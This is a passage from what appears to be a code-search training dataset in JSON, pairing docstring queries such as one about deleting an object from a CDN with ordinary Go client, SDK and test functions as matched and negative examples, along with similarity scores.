\\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Accept\\\"] = localVarHTTPHeaderAccept\\n\\t}\\n\\tif ctx != nil {\\n\\t\\t// API Key Authentication\\n\\t\\tif auth, ok := ctx.Value(ContextAPIKey).(APIKey); ok {\\n\\t\\t\\tvar key string\\n\\t\\t\\tif auth.Prefix != \\\"\\\" {\\n\\t\\t\\t\\tkey = auth.Prefix + \\\" \\\" + auth.Key\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tkey = auth.Key\\n\\t\\t\\t}\\n\\t\\t\\tlocalVarHeaderParams[\\\"X-Emby-Authorization\\\"] = key\\n\\t\\t}\\n\\t}\\n\\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlocalVarHTTPResponse, err := a.client.callAPI(r)\\n\\tif err != nil || localVarHTTPResponse == nil {\\n\\t\\treturn localVarHTTPResponse, err\\n\\t}\\n\\n\\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\\n\\tlocalVarHTTPResponse.Body.Close()\\n\\tif err != nil {\\n\\t\\treturn localVarHTTPResponse, err\\n\\t}\\n\\n\\tif localVarHTTPResponse.StatusCode >= 300 {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: localVarHTTPResponse.Status,\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 403 {\\n\\t\\t\\tvar v ProblemDetails\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t}\\n\\t\\treturn localVarHTTPResponse, newErr\\n\\t}\\n\\n\\treturn localVarHTTPResponse, nil\\n}\",\n \"func (c *CryptohomeBinary) TPMAttestationRegisterKey(\\n\\tctx context.Context,\\n\\tusername,\\n\\tlabel string) (string, error) {\\n\\tout, err := c.call(\\n\\t\\tctx,\\n\\t\\t\\\"--action=tpm_attestation_register_key\\\",\\n\\t\\t\\\"--user=\\\"+username,\\n\\t\\t\\\"--name=\\\"+label)\\n\\treturn string(out), err\\n}\",\n \"func (client IdentityClient) activateDomain(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\\n\\n\\thttpRequest, err := request.HTTPRequest(http.MethodPost, \\\"/domains/{domainId}/actions/activate\\\", binaryReqBody, extraHeaders)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar response ActivateDomainResponse\\n\\tvar httpResponse *http.Response\\n\\thttpResponse, err = client.Call(ctx, &httpRequest)\\n\\tdefer common.CloseBodyIfValid(httpResponse)\\n\\tresponse.RawResponse = httpResponse\\n\\tif err != nil {\\n\\t\\treturn response, err\\n\\t}\\n\\n\\terr = common.UnmarshalResponse(httpResponse, &response)\\n\\treturn response, err\\n}\",\n \"func TestOrgTeamEmailInviteRedirectsNewUserWithActivation(t *testing.T) {\\n\\tif setting.MailService == nil {\\n\\t\\tt.Skip()\\n\\t\\treturn\\n\\t}\\n\\n\\t// enable email confirmation temporarily\\n\\tdefer func(prevVal bool) {\\n\\t\\tsetting.Service.RegisterEmailConfirm = prevVal\\n\\t}(setting.Service.RegisterEmailConfirm)\\n\\tsetting.Service.RegisterEmailConfirm = true\\n\\n\\tdefer tests.PrepareTestEnv(t)()\\n\\n\\torg := unittest.AssertExistsAndLoadBean(t, &organization.Organization{ID: 3})\\n\\tteam := unittest.AssertExistsAndLoadBean(t, &organization.Team{ID: 2})\\n\\n\\t// create the invite\\n\\tsession := loginUser(t, \\\"user1\\\")\\n\\n\\tteamURL := fmt.Sprintf(\\\"/org/%s/teams/%s\\\", org.Name, team.Name)\\n\\treq := NewRequestWithValues(t, \\\"POST\\\", teamURL+\\\"/action/add\\\", map[string]string{\\n\\t\\t\\\"_csrf\\\": GetCSRF(t, session, teamURL),\\n\\t\\t\\\"uid\\\": \\\"1\\\",\\n\\t\\t\\\"uname\\\": \\\"doesnotexist@example.com\\\",\\n\\t})\\n\\tresp := session.MakeRequest(t, req, http.StatusSeeOther)\\n\\treq = NewRequest(t, \\\"GET\\\", test.RedirectURL(resp))\\n\\tsession.MakeRequest(t, req, http.StatusOK)\\n\\n\\t// get the invite token\\n\\tinvites, err := organization.GetInvitesByTeamID(db.DefaultContext, team.ID)\\n\\tassert.NoError(t, err)\\n\\tassert.Len(t, invites, 1)\\n\\n\\t// accept the invite\\n\\tinviteURL := fmt.Sprintf(\\\"/org/invite/%s\\\", invites[0].Token)\\n\\treq = NewRequest(t, \\\"GET\\\", fmt.Sprintf(\\\"/user/sign_up?redirect_to=%s\\\", url.QueryEscape(inviteURL)))\\n\\tinviteResp := MakeRequest(t, req, http.StatusOK)\\n\\n\\tdoc := NewHTMLParser(t, resp.Body)\\n\\treq = NewRequestWithValues(t, \\\"POST\\\", \\\"/user/sign_up\\\", map[string]string{\\n\\t\\t\\\"_csrf\\\": doc.GetCSRF(),\\n\\t\\t\\\"user_name\\\": \\\"doesnotexist\\\",\\n\\t\\t\\\"email\\\": \\\"doesnotexist@example.com\\\",\\n\\t\\t\\\"password\\\": \\\"examplePassword!1\\\",\\n\\t\\t\\\"retype\\\": \\\"examplePassword!1\\\",\\n\\t})\\n\\tfor _, c := range inviteResp.Result().Cookies() {\\n\\t\\treq.AddCookie(c)\\n\\t}\\n\\n\\tresp = MakeRequest(t, req, http.StatusOK)\\n\\n\\tuser, err := user_model.GetUserByName(db.DefaultContext, \\\"doesnotexist\\\")\\n\\tassert.NoError(t, err)\\n\\n\\tch := http.Header{}\\n\\tch.Add(\\\"Cookie\\\", strings.Join(resp.Header()[\\\"Set-Cookie\\\"], \\\";\\\"))\\n\\tcr := http.Request{Header: ch}\\n\\n\\tsession = emptyTestSession(t)\\n\\tbaseURL, err := url.Parse(setting.AppURL)\\n\\tassert.NoError(t, err)\\n\\tsession.jar.SetCookies(baseURL, cr.Cookies())\\n\\n\\tactivateURL := fmt.Sprintf(\\\"/user/activate?code=%s\\\", user.GenerateEmailActivateCode(\\\"doesnotexist@example.com\\\"))\\n\\treq = NewRequestWithValues(t, \\\"POST\\\", activateURL, map[string]string{\\n\\t\\t\\\"password\\\": \\\"examplePassword!1\\\",\\n\\t})\\n\\n\\t// use the cookies set by the signup request\\n\\tfor _, c := range inviteResp.Result().Cookies() {\\n\\t\\treq.AddCookie(c)\\n\\t}\\n\\n\\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\\n\\t// should be redirected to accept the invite\\n\\tassert.Equal(t, inviteURL, test.RedirectURL(resp))\\n\\n\\treq = NewRequestWithValues(t, \\\"POST\\\", test.RedirectURL(resp), map[string]string{\\n\\t\\t\\\"_csrf\\\": GetCSRF(t, session, test.RedirectURL(resp)),\\n\\t})\\n\\tresp = session.MakeRequest(t, req, http.StatusSeeOther)\\n\\treq = NewRequest(t, \\\"GET\\\", test.RedirectURL(resp))\\n\\tsession.MakeRequest(t, req, http.StatusOK)\\n\\n\\tisMember, err := organization.IsTeamMember(db.DefaultContext, team.OrgID, team.ID, user.ID)\\n\\tassert.NoError(t, err)\\n\\tassert.True(t, isMember)\\n}\",\n \"func (_UsersData *UsersDataTransactor) SetActive(opts *bind.TransactOpts, uuid [16]byte, active bool) (*types.Transaction, error) {\\n\\treturn _UsersData.contract.Transact(opts, \\\"setActive\\\", uuid, active)\\n}\",\n \"func (c *Client) ActivateType(ctx context.Context, params *ActivateTypeInput, optFns ...func(*Options)) (*ActivateTypeOutput, error) {\\n\\tif params == nil {\\n\\t\\tparams = &ActivateTypeInput{}\\n\\t}\\n\\n\\tresult, metadata, err := c.invokeOperation(ctx, \\\"ActivateType\\\", params, optFns, c.addOperationActivateTypeMiddlewares)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := result.(*ActivateTypeOutput)\\n\\tout.ResultMetadata = metadata\\n\\treturn out, nil\\n}\",\n \"func (r Virtual_Guest) ActivatePublicPort() (resp bool, err error) {\\n\\terr = r.Session.DoRequest(\\\"SoftLayer_Virtual_Guest\\\", \\\"activatePublicPort\\\", nil, &r.Options, &resp)\\n\\treturn\\n}\",\n \"func (b *OGame) ActivateItem(ref string, celestialID ogame.CelestialID) error {\\n\\treturn b.WithPriority(taskRunner.Normal).ActivateItem(ref, celestialID)\\n}\",\n \"func getUserByActivationCode(code string) *User {\\n\\tuser := &User{}\\n\\tdb := getDB()\\n\\tdefer db.Close()\\n\\n\\tdb.Select(\\\"*\\\").\\n\\t\\tWhere(\\\"activation_code = ?\\\", code).\\n\\t\\tFirst(user)\\n\\n\\treturn getUser(user)\\n}\",\n \"func ActivateStable(c *cli.Context) error {\\n\\tstable, err := GetStableVersion()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tisInstalled, err := isVersionInstalled(stable)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !isInstalled {\\n\\t\\tif err := InstallPythonVersion(stable, false); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif err = ActivatePythonVersion(stable); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Println(stable)\\n\\treturn nil\\n}\",\n \"func (k Keeper) activateContract(ctx sdk.Context, contractAddress sdk.AccAddress) error {\\n\\tif !k.IsInactiveContract(ctx, contractAddress) {\\n\\t\\treturn sdkerrors.Wrapf(wasmtypes.ErrNotFound, \\\"no inactivate contract %s\\\", contractAddress.String())\\n\\t}\\n\\n\\tk.deleteInactiveContract(ctx, contractAddress)\\n\\tk.bank.DeleteFromInactiveAddr(ctx, contractAddress)\\n\\n\\treturn nil\\n}\",\n \"func (a *DeviceAPI) GetActivation(ctx context.Context, req *api.GetDeviceActivationRequest) (*api.GetDeviceActivationResponse, error) {\\n\\tvar devAddr lorawan.DevAddr\\n\\tvar devEUI lorawan.EUI64\\n\\tvar sNwkSIntKey lorawan.AES128Key\\n\\tvar fNwkSIntKey lorawan.AES128Key\\n\\tvar nwkSEncKey lorawan.AES128Key\\n\\n\\tif err := devEUI.UnmarshalText([]byte(req.DevEui)); err != nil {\\n\\t\\treturn nil, status.Errorf(codes.InvalidArgument, \\\"devEUI: %s\\\", err)\\n\\t}\\n\\n\\tif valid, err := devmod.NewValidator(a.st).ValidateNodeAccess(ctx, authcus.Read, devEUI); !valid || err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Unauthenticated, \\\"authentication failed: %s\\\", err)\\n\\t}\\n\\n\\td, err := a.st.GetDevice(ctx, devEUI, false)\\n\\tif err != nil {\\n\\t\\treturn nil, helpers.ErrToRPCError(err)\\n\\t}\\n\\n\\tn, err := a.st.GetNetworkServerForDevEUI(ctx, devEUI)\\n\\tif err != nil {\\n\\t\\treturn nil, helpers.ErrToRPCError(err)\\n\\t}\\n\\n\\tnsClient, err := a.nsCli.GetNetworkServerServiceClient(n.ID)\\n\\tif err != nil {\\n\\t\\treturn nil, status.Errorf(codes.Internal, err.Error())\\n\\t}\\n\\n\\tdevAct, err := nsClient.GetDeviceActivation(ctx, &ns.GetDeviceActivationRequest{\\n\\t\\tDevEui: d.DevEUI[:],\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tcopy(devAddr[:], devAct.DeviceActivation.DevAddr)\\n\\tcopy(nwkSEncKey[:], devAct.DeviceActivation.NwkSEncKey)\\n\\tcopy(sNwkSIntKey[:], devAct.DeviceActivation.SNwkSIntKey)\\n\\tcopy(fNwkSIntKey[:], devAct.DeviceActivation.FNwkSIntKey)\\n\\n\\treturn &api.GetDeviceActivationResponse{\\n\\t\\tDeviceActivation: &api.DeviceActivation{\\n\\t\\t\\tDevEui: d.DevEUI.String(),\\n\\t\\t\\tDevAddr: devAddr.String(),\\n\\t\\t\\t//AppSKey: d.AppSKey.String(),\\n\\t\\t\\tNwkSEncKey: nwkSEncKey.String(),\\n\\t\\t\\tSNwkSIntKey: sNwkSIntKey.String(),\\n\\t\\t\\tFNwkSIntKey: fNwkSIntKey.String(),\\n\\t\\t\\tFCntUp: devAct.DeviceActivation.FCntUp,\\n\\t\\t\\tNFCntDown: devAct.DeviceActivation.NFCntDown,\\n\\t\\t\\tAFCntDown: devAct.DeviceActivation.AFCntDown,\\n\\t\\t},\\n\\t}, nil\\n}\",\n \"func (u *User) Active() bool { return u.userData.Active }\",\n \"func (_UsersData *UsersDataTransactorSession) SetActive(uuid [16]byte, active bool) (*types.Transaction, error) {\\n\\treturn _UsersData.Contract.SetActive(&_UsersData.TransactOpts, uuid, active)\\n}\",\n \"func (plugin *Plugin) activate(w http.ResponseWriter, r *http.Request) {\\n\\tvar req activateRequest\\n\\n\\tlog.Request(plugin.Name, &req, nil)\\n\\n\\tresp := ActivateResponse{Implements: plugin.Listener.GetEndpoints()}\\n\\terr := plugin.Listener.Encode(w, &resp)\\n\\n\\tlog.Response(plugin.Name, &resp, 0, \\\"Success\\\", err)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7415662","0.72329617","0.6980843","0.6696836","0.66881704","0.66405827","0.6558447","0.6450118","0.6438781","0.6318497","0.6216686","0.6188786","0.6153936","0.61517125","0.6151327","0.6126233","0.6110493","0.6015183","0.59973705","0.59789026","0.59787494","0.5935517","0.5922752","0.59171367","0.5913767","0.58725476","0.5864183","0.58573306","0.5856062","0.5830338","0.5827674","0.57933193","0.5739106","0.5689457","0.5688251","0.5666102","0.5635656","0.55953175","0.5586918","0.55558866","0.5542149","0.5539858","0.552267","0.5495733","0.5484573","0.5472646","0.54604536","0.54580706","0.54413205","0.5440957","0.54291743","0.54232734","0.54204917","0.5411228","0.5409602","0.5409602","0.5403685","0.5385415","0.5378039","0.5377476","0.5372014","0.5367064","0.5356245","0.53494394","0.5323944","0.53174937","0.5294066","0.5291818","0.52869034","0.5278404","0.525897","0.5250771","0.5242929","0.52382576","0.5238162","0.5228607","0.52111435","0.52100503","0.52100503","0.5189181","0.51745594","0.5172541","0.51635855","0.51629424","0.5144178","0.5130519","0.51245004","0.5121256","0.512019","0.51056814","0.50920564","0.5083063","0.50828266","0.50816286","0.50757235","0.5049971","0.5042244","0.50328004","0.5030288","0.5020169"],"string":"[\n \"0.7415662\",\n \"0.72329617\",\n \"0.6980843\",\n \"0.6696836\",\n \"0.66881704\",\n \"0.66405827\",\n \"0.6558447\",\n \"0.6450118\",\n \"0.6438781\",\n \"0.6318497\",\n \"0.6216686\",\n \"0.6188786\",\n \"0.6153936\",\n \"0.61517125\",\n \"0.6151327\",\n \"0.6126233\",\n \"0.6110493\",\n \"0.6015183\",\n \"0.59973705\",\n \"0.59789026\",\n \"0.59787494\",\n \"0.5935517\",\n \"0.5922752\",\n \"0.59171367\",\n \"0.5913767\",\n \"0.58725476\",\n \"0.5864183\",\n \"0.58573306\",\n \"0.5856062\",\n \"0.5830338\",\n \"0.5827674\",\n \"0.57933193\",\n \"0.5739106\",\n \"0.5689457\",\n \"0.5688251\",\n \"0.5666102\",\n \"0.5635656\",\n \"0.55953175\",\n \"0.5586918\",\n \"0.55558866\",\n \"0.5542149\",\n \"0.5539858\",\n \"0.552267\",\n \"0.5495733\",\n \"0.5484573\",\n \"0.5472646\",\n \"0.54604536\",\n \"0.54580706\",\n \"0.54413205\",\n \"0.5440957\",\n \"0.54291743\",\n \"0.54232734\",\n \"0.54204917\",\n \"0.5411228\",\n \"0.5409602\",\n \"0.5409602\",\n \"0.5403685\",\n \"0.5385415\",\n \"0.5378039\",\n \"0.5377476\",\n \"0.5372014\",\n \"0.5367064\",\n \"0.5356245\",\n \"0.53494394\",\n \"0.5323944\",\n \"0.53174937\",\n \"0.5294066\",\n \"0.5291818\",\n \"0.52869034\",\n \"0.5278404\",\n \"0.525897\",\n \"0.5250771\",\n \"0.5242929\",\n \"0.52382576\",\n \"0.5238162\",\n \"0.5228607\",\n \"0.52111435\",\n \"0.52100503\",\n \"0.52100503\",\n \"0.5189181\",\n \"0.51745594\",\n \"0.5172541\",\n \"0.51635855\",\n \"0.51629424\",\n \"0.5144178\",\n \"0.5130519\",\n \"0.51245004\",\n \"0.5121256\",\n \"0.512019\",\n \"0.51056814\",\n \"0.50920564\",\n \"0.5083063\",\n \"0.50828266\",\n \"0.50816286\",\n \"0.50757235\",\n \"0.5049971\",\n \"0.5042244\",\n \"0.50328004\",\n \"0.5030288\",\n \"0.5020169\"\n]"},"document_score":{"kind":"string","value":"0.78602976"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106138,"cells":{"query":{"kind":"string","value":"Delete is a function that deletes an object from the CDN."},"document":{"kind":"string","value":"func Delete(c *gophercloud.ServiceClient, containerName, objectName string, opts os.DeleteOptsBuilder) os.DeleteResult {\n\treturn os.Delete(c, containerName, objectName, nil)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c *Client) Delete(d core.Digest) error {\n\t_, err := httputil.Delete(fmt.Sprintf(\"http://%s/blobs/%s\", c.addr, d))\n\treturn err\n}","func (s *PublicStorageServer) Delete(ctx context.Context, url *pbs.FileURL) (*emptypb.Empty, error) {\n\tvar obj file.MinioObj\n\tif err := obj.FromURL(url.Url); err != nil {\n\t\treturn nil, err\n\t}\n\n\terr := services.MinioClient.RemoveObject(context.Background(), \"public\", obj.ObjectName, minio.RemoveObjectOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Printf(\"Delete from url: %s\", obj.URL)\n\n\treturn &emptypb.Empty{}, nil\n}","func (c *Client) Delete(rawurl string) error {\n\treturn c.Do(rawurl, \"DELETE\", nil, nil)\n}","func Delete(c client.Client, obj runtime.Object) error {\n\tif err := c.Delete(context.Background(), obj); err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\treturn nil\n}","func (handler *ObjectWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\n\trespondWithError(w, http.StatusNotImplemented, \"Not implemented\", nil)\n}","func (driver *S3Driver) Delete(id string) error {\n\treturn driver.client.RemoveObject(context.Background(), driver.bucket, id+\".json\", minio.RemoveObjectOptions{})\n}","func Delete(url string, data ...interface{}) (*ClientResponse, error) {\n\treturn DoRequest(\"DELETE\", url, data...)\n}","func (c *Client) Delete(url string, headers map[string][]string) (client.Status, map[string][]string, io.ReadCloser, error) {\n\treturn c.Do(\"DELETE\", url, headers, nil)\n}","func (c *Client) Delete(ctx context.Context, url string, data ...interface{}) (*Response, error) {\n\treturn c.DoRequest(ctx, http.MethodDelete, url, data...)\n}","func (api *bucketAPI) Delete(obj *objstore.Bucket) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ObjstoreV1().Bucket().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleBucketEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}","func (s *s3ManifestService) Delete(ctx context.Context, dgst godigest.Digest) error {\n\treturn fmt.Errorf(\"unimplemented\")\n}","func (client *Client) Delete(ctx context.Context, bucket *storage.BucketHandle, path string) error {\n\tobject := bucket.Object(path)\n\tif err := object.Delete(ctx); err != nil {\n\t\treturn fmt.Errorf(\"cannot delete %s, err: %w\", path, err)\n\t}\n\treturn nil\n}","func (c *Client) Delete(url string, headers, queryParams map[string][]string, data interface{}) (response *http.Response, err error) {\n\treturn c.makeRequest(url, http.MethodDelete, headers, queryParams, data)\n}","func (obj *SObject) Delete(id ...string) error {\n\tif obj.Type() == \"\" || obj.client() == nil {\n\t\t// Sanity check\n\t\treturn ErrFailure\n\t}\n\n\toid := obj.ID()\n\tif id != nil {\n\t\toid = id[0]\n\t}\n\tif oid == \"\" {\n\t\treturn ErrFailure\n\t}\n\n\turl := obj.client().makeURL(\"sobjects/\" + obj.Type() + \"/\" + obj.ID())\n\tlog.Println(url)\n\t_, err := obj.client().httpRequest(http.MethodDelete, url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func Delete(k8sClient client.Client, obj client.Object) error {\n\treturn k8sClient.Delete(context.TODO(), obj)\n}","func (c *Client) Delete(ctx context.Context, link string) error {\n\n\tauthKey, err := GetAccessTokenFromContext(ctx)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Missing token in context\")\n\t}\n\n\treq, err := http.NewRequest(\"DELETE\", link, nil)\n\n\tif err != nil {\n\t\tlog.Error(\"Cannot create request:\", err)\n\t\treturn err\n\t}\n\n\treq.Header.Add(\"X-Requested-With\", \"XMLHttpRequest\")\n\treq.Header.Add(\"authorization\", authKey)\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tresp, err := c.httpClient.Do(req)\n\n\tif err != nil {\n\t\tlog.Error(\"POST request error:\", err)\n\t\treturn err\n\t}\n\t// this is required to properly empty the buffer for the next call\n\tdefer func() {\n\t\tio.Copy(ioutil.Discard, resp.Body)\n\t}()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tlog.Error(err, \": \", string(body))\n\t}\n\n\treturn err\n}","func (self *Client) Delete(dst interface{}, path string, data url.Values) error {\n\tvar addr *url.URL\n\tvar err error\n\tvar body *strings.Reader\n\n\tif addr, err = url.Parse(self.Prefix + strings.TrimLeft(path, \"/\")); err != nil {\n\t\treturn err\n\t}\n\n\tif data != nil {\n\t\tbody = strings.NewReader(data.Encode())\n\t}\n\n\treturn self.newRequest(dst, \"DELETE\", addr, body)\n}","func (b *Bucket) Delete(_ context.Context, name string) error {\n\treturn b.client.DeleteObject(b.name, name)\n}","func (api *objectAPI) Delete(obj *objstore.Object) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ObjstoreV1().Object().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleObjectEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}","func (b *Bucket) Delete(filename string) error {\n\t// set session\n\tsess, err := b.setSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsvc := b.newS3func(sess)\n\t_, err = svc.DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(b.BucketName),\n\t\tKey: aws.String(crPath + filename),\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error deleting %s from bucket %s : %s\", filename, b.BucketName, err.Error())\n\t}\n\n\terr = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\n\t\tBucket: aws.String(b.BucketName),\n\t\tKey: aws.String(crPath + filename),\n\t})\n\treturn err\n}","func (handler *BucketWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\n\trespondWithError(w, http.StatusNotImplemented, \"Not implemented\", nil)\n}","func Delete(c *gophercloud.ServiceClient, idOrURL string) (r DeleteResult) {\n\tvar url string\n\tif strings.Contains(idOrURL, \"/\") {\n\t\turl = idOrURL\n\t} else {\n\t\turl = deleteURL(c, idOrURL)\n\t}\n\tresp, err := c.Delete(url, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}","func (p *PluginClient) Delete(ctx context.Context, baseURL *duckv1.Addressable, path string, options ...OptionFunc) error {\n\toptions = append(defaultOptions, options...)\n\n\trequest := p.R(ctx, baseURL, options...)\n\tresponse, err := request.Delete(p.fullUrl(baseURL, path))\n\n\treturn p.HandleError(response, err)\n}","func Delete(url string) *THttpClient {\r\n\treturn NewHttpClient(url).Delete(\"\")\r\n}","func Delete(url string, data ...interface{}) (*Response, error) {\n\tr := NewRequest()\n\treturn r.Delete(url, data...)\n}","func (v *DCHttpClient) Delete(\n\turl string, headers map[string]string) (response *DCHttpResponse, err error) {\n\treturn v.DoWithoutContent(http.MethodDelete, url, headers)\n}","func (c *Client) Delete(url string, resType interface{}) error {\n\treturn c.CallAPI(\"DELETE\", url, nil, resType, true)\n}","func (adp *s3Storage) Delete(ctx context.Context, filename string) error {\n\t_, err := s3.New(adp.dsn.Sess).DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(adp.dsn.Bucket),\n\t\tKey: aws.String(adp.dsn.Join(filename)),\n\t})\n\treturn err\n}","func (h *EcrHandler) Delete(obj interface{}) error {\n\treturn nil\n}","func Delete(uri string) error {\n\treq, err := http.NewRequest(\"DELETE\", Host+uri, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres, err := Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 204 {\n\t\treturn fmt.Errorf(\"got %d\", res.StatusCode)\n\t}\n\n\treturn nil\n}","func Delete(url string, token string, client http.Client) (err error) {\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"X-Auth-Token\", token)\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Expecting a successful delete\n\tif !(resp.StatusCode == 200 || resp.StatusCode == 202 || resp.StatusCode == 204) {\n\t\terr = fmt.Errorf(\"Unexpected server response status code on Delete '%s'\", resp.StatusCode)\n\t\treturn\n\t}\n\n\treturn nil\n}","func Delete(url string) (*http.Response, error) {\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn http.DefaultClient.Do(req)\n}","func Delete() {\n\treqUrl := \"https://jsonplaceholder.typicode.com/posts/1\"\n\n\tclient := http.Client{}\n\n\treq, err := http.NewRequest(http.MethodDelete, reqUrl, bytes.NewBuffer(make([]byte, 0)))\n\n\tcheckError(err)\n\n\tresp, respErr := client.Do(req)\n\n\tcheckError(respErr)\n\n\tfmt.Println(resp.StatusCode)\n}","func (F *Frisby) Delete(url string) *Frisby {\n\tF.Method = \"DELETE\"\n\tF.Url = url\n\treturn F\n}","func (h *Handler) Delete(bucket, name string) error {\n\treq := h.Client.DeleteObjectRequest(&s3.DeleteObjectInput{\n\t\tBucket: &bucket,\n\t\tKey: &name,\n\t})\n\n\tresp, err := req.Send(context.Background())\n\tif err != nil {\n\t\tklog.Error(\"Failed to send Delete request. error: \", err)\n\t\treturn err\n\t}\n\n\tklog.V(10).Info(\"Delete Success\", resp)\n\n\treturn nil\n}","func (dc Datacenter) Delete(client MetalCloudClient) error {\n\treturn nil\n}","func Delete() error {\n\n}","func (b *Bucket) Delete(ctx context.Context, name string) error {\n\treturn b.bkt.Object(name).Delete(ctx)\n}","func Delete(url string, authHeader string) (int, []byte) {\n\tcode, _, response := DeleteWithHeaderInResult(url, authHeader)\n\treturn code, response\n}","func Delete(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\n\treturn Request(\"DELETE\", url, r, w, clientGenerator, reqTuner...)\n}","func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\tinfoMutex.Lock()\n\trecord(\"DELETE\", path)\n\tr.Delete(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\n\tinfoMutex.Unlock()\n}","func (o *Object) Delete(ctx context.Context, c client.Client, namespace string) error {\n\tobj := o.Type.DeepCopyObject().(client.Object)\n\tkind := obj.GetObjectKind().GroupVersionKind().Kind\n\tkey := objectKey(namespace, o.Name)\n\tif err := c.Get(ctx, key, obj); err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.Wrapf(err, \"could not get %s '%s'\", kind, key.String())\n\t}\n\tif err := c.Delete(ctx, obj); err != nil {\n\t\treturn errors.Wrapf(err, \"could not delete %s '%s'\", kind, key.String())\n\t}\n\treturn nil\n}","func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\trecord(\"DELETE\", path)\n\n\tinfoMutex.Lock()\n\tr.DELETE(path, Handler(alice.New(c...).ThenFunc(fn)))\n\tinfoMutex.Unlock()\n}","func (b *Bucket) Delete(_ context.Context, name string) error {\n\tdelete(b.objects, name)\n\treturn nil\n}","func (api *distributedservicecardAPI) Delete(obj *cluster.DistributedServiceCard) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().DistributedServiceCard().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}","func (r *FakeClient) Delete(ctx context.Context, obj client.Object, opts ...client.DeleteOption) error {\n\tdelete(r.objects, util.NamespacedName(obj))\n\treturn nil\n}","func Delete(client *gophercloud.ServiceClient, id 